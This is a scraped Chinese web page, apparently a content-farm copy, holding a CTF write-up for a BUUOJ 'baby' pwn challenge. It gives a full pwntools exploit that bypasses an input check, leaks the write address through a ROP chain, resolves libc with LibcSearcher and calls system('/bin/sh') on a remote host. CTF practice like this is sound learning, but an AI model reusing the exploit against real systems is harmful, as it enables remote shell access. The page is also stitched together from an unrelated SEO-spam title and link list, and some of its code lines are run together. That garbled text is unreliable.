当前位置: 首页 > wzjs >正文

网站建设项目招标标书小熊猫seo博客

网站建设项目招标标书,小熊猫seo博客,中国域名网站,石家庄网站建设企业打开 /dev/urandom 设备文件,读取4个字节到 buf 中。 将 buf 传递给 sub_804871F() 函数,该函数似乎对输入进行某种处理并返回一个值 v2。 最后,将 v2 传递给 sub_80487D0() 函数。 这个函数首先将 a1 转换为字符串 s。 然后从标准输入读…

 

  • 打开 /dev/urandom 设备文件,读取4个字节到 buf 中。

  • buf 传递给 sub_804871F() 函数,该函数似乎对输入进行某种处理并返回一个值 v2

  • 最后,将 v2 传递给 sub_80487D0() 函数。

  • 这个函数首先将 a1 转换为字符串 s

  • 然后从标准输入读取数据到 buf 中,并确保 buf\0 结尾。

  • 比较 bufs 是否相同,如果不同则退出程序。

  • 如果相同,则输出 "Correct" 并返回 buf[7] 的值。

  • 这个函数根据 a1 的值从标准输入读取数据到 buf 中。

步骤1:泄漏 write 函数地址
  • 首先,通过发送特定的 payload 来绕过某种检查(可能是程序中的某种验证逻辑)。

  • 构造 ROP 链调用 write 函数,将 write_got 中的地址(即 write 的实际地址)输出到标准输出。

  • 通过泄漏的 write 地址找到匹配的 libc 版本,并计算出 libc 的基址。

**步骤2:构造 payload 调用 system("/bin/sh")
  • 构造 ROP 链,调用 system("/bin/sh")

  • system 函数的地址放入返回地址。

  • /bin/sh 的地址作为参数传递给 system

from pwn import *
from LibcSearcher import *
context.log_level='debug'
elf=ELF("./baby")
p=remote('node5.buuoj.cn',27634)
# p=process("./pwn")
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")write_plt=elf.plt['write']
write_got=elf.got['write']
main_address=0x08048825
payload2=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_address)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)addr=u32(p.recv(4))#write_addr
libc=LibcSearcher("write",addr)#通过write的地址来找到符合的libc版本
libc_base_addr=addr-libc.dump("write")#libc基址
system_addr=libc_base_addr+libc.dump("system")#system地址
bin_addr=libc_base_addr+libc.dump("str_bin_sh")#/bin/sh地址print(hex(system_addr))  
print(hex(bin_addr))  p.sendline(payload1)
p.recvuntil("Correct\n")
payload3=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
p.sendline(payload3)
p.interactive()

http://www.dtcms.com/wzjs/516349.html

相关文章:

  • 百度搜索优化关键词排名图片优化网站
  • 怎么做盗版网站吗网站建设包括哪些内容
  • 平面设计图网站企业网站
  • 百度建设自己的网站考研培训班集训营
  • 网站建设1993seo口碑营销的案例及分析
  • 夺宝网站怎样做优化网络推广好做吗多少钱
  • 怎么做快三一模一样的网站zoho crm
  • 俄罗斯网站建设搭建网站费用是多少
  • 搭积木建网站软件手机网站排名优化
  • 台山网站建设个人永久免费自助建站
  • asp网站做安全游戏代理推广渠道
  • 信访举报网站建设情况总结edm营销
  • 一个完整的网站建设zac seo博客
  • 网站内部资源推广怎么做国际新闻最新消息十条
  • php网站开发报告360优化大师安卓下载
  • 怎么测试一个网站要做网络推广
  • 招聘网站开发工程师武汉企业seo推广
  • 网站建设设计公司+知乎百度快照排名
  • 邢台提供网站建设公司哪家好自媒体是如何赚钱的
  • 宁波网站推广业务广告投放数据分析
  • 做纺织外贸哪个贸易网站好网站站内推广怎么做
  • 上海建设网站费用北京seo经理
  • 湖州微信网站建设凡科小程序
  • 做招聘图片的网站seo的优化技巧和方法
  • 许昌做网站联系电话如何在百度上打广告
  • 大庆金思维科技网站开发百度官方优化软件
  • 崇义做网站网站之家查询
  • asp.net网站加速seo研究中心怎么了
  • 做网站企业的发展前景百度扫一扫识别图片在线
  • 做印刷厂网站2022最新国内新闻50条简短